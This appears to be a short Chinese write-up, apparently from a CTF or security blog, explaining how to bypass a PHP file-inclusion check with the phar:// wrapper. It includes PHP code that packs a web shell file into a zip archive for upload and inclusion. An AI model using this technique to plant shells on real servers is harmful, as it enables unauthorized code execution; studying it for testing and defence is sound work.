phar://伪协议
index.php的文件包含必须是.php的后缀,而我们只能传.txt后缀的文件
这里通过zip/phar/rar等伪协议可以绕过,这里我选了phar://先通过标准Phar打包
<?php
$p = new PharData(dirname(__FILE__).'/a.zip', 0,'phartest',Phar::ZIP);
$p->addFromString('a.php', file_get_contents('shell.txt'));
?>
相关阅读:
https://xmgu2008.blog.163.com/blog/static/1391223802014225101912694/
评论